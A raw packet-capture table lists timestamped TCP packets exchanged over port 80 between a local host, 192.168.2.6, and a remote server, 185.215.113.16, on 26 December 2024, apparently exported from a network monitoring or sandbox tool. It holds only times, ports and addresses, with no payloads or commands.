Dec 26, 2024 12:52:22.740974903 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.741681099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.741796017 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.742647886 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.742693901 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.742727041 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.742769003 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.743576050 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.743753910 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.744576931 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.744649887 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.744673967 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.745465994 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.745517969 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.745583057 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.745626926 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.746550083 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.746635914 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.746685982 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.747437000 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.747524023 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.747581005 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.748353958 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.748512983 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.748558998 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.749367952 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.749469995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.749516010 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.750272989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.750384092 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.750843048 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.751306057 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.751468897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.752243042 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.752301931 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.752309084 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.752347946 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.753149986 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.753279924 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.754112005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.754158020 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.754215956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.754259109 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.755223036 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.755333900 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.755525112 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.756067038 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.916539907 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.916562080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.916596889 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.916632891 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.916783094 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.916825056 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.917521000 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.917562008 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.917651892 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.918512106 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.918550968 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.918725967 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.919456005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.919497967 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.919562101 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.920396090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.920444012 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.920495987 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.921358109 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.921466112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.921509981 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.922307014 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.922353983 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.922416925 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.923294067 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.923333883 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.923388958 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.924231052 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.924273014 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.924380064 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.925220013 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.925260067 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.925327063 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.926160097 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.926254988 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.926296949 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.927109957 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.927153111 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.927215099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.928096056 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.928138971 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.928210974 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.929033041 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.929091930 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.929131985 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.930032015 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.930077076 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.930107117 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.930933952 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.931056976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.931097984 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.931901932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.932014942 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.932055950 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.932864904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.932904005 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.933022976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.933983088 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.934173107 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.934216976 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.934844971 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.934895992 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.934904099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.935725927 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.935769081 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.935859919 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.936791897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.936882973 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.936923027 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.937665939 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.937707901 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.937772989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.938625097 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.938810110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.938832045 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.939579964 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.939694881 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.939734936 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.940510988 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.940555096 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.940577984 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.941498041 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.941623926 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.941663980 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.942451000 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.942521095 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.942589045 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.943418026 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.943521976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.943567991 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.944376945 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.944422960 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.944485903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.945339918 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.945425987 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.945472002 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.946285009 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.946336985 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.946470976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.947263956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.947360039 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.947412968 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.948206902 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.948251009 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.948317051 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.949182034 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.949280977 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.949325085 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.950124025 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.950269938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.950311899 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.951072931 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.951124907 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.951200008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.952054977 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.952141047 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.952174902 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.953001022 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.953046083 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.953068972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.953954935 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.953991890 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.954116106 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.954924107 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.954998970 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.955008030 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.955883980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.956033945 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.956068039 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.956857920 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.956939936 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.957005024 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.957787991 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.957895041 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.957927942 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.958745956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.958789110 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.958825111 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.959741116 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.959811926 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.959851980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.960669041 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.960736036 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.960777044 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.961644888 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.961747885 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.961788893 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.962582111 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.962651014 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.962656975 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.963551044 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.963596106 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.963635921 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.964525938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.964581966 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.964621067 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.965481043 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.965527058 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:22.965584993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.966480970 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:22.966567993 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.127022028 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.127085924 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.127187967 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.127453089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.127523899 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.128355980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.128407001 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.128453970 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.128494024 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.129301071 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.129460096 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.130281925 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.130331039 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.130371094 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.130407095 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.131218910 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.131337881 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.131381989 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.132289886 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.132388115 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.133179903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.133223057 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.133358955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.133400917 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.134255886 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.134382963 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.135241032 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.135253906 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.135341883 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.136207104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.136250973 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.136313915 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.136351109 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.137295008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.137341976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.137382030 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.138101101 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.138160944 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.138369083 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.138956070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.139071941 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.139116049 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.139837980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.139964104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.140005112 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.140827894 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.140937090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.140986919 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.141747952 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.141976118 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.142766953 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.142817020 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.142874956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.143305063 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.143678904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.143820047 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.144634008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.144679070 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.144731045 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.144771099 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.145586967 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.145713091 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.146564960 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.146612883 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.146696091 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.146737099 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.147509098 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.147618055 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.147665977 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.148483038 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.148637056 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.149244070 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.149421930 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.149621010 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.149657965 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.150388956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.150497913 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.150538921 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.151340961 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.151459932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.151529074 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.152308941 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.152544975 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.152580976 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.153278112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.153409004 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.153454065 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.154226065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.154347897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.154391050 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.155216932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.155298948 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.155342102 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.156163931 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.156259060 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.156297922 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.156635046 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.157155037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.157255888 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.158068895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.158107042 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.158166885 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.158205032 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.159027100 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.159127951 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.159167051 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.159984112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.160062075 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.160099983 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.160936117 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.161058903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.161098957 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.161902905 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.162015915 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.162070990 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.162857056 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.162967920 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.163012028 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.164174080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.164277077 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.164323092 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.164792061 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.164906979 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.165719986 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.165756941 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.165819883 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.165858984 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.166712999 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.166817904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.166882038 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.167646885 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.167754889 CET	80	49863	185.215.113.16	192.168.2.6
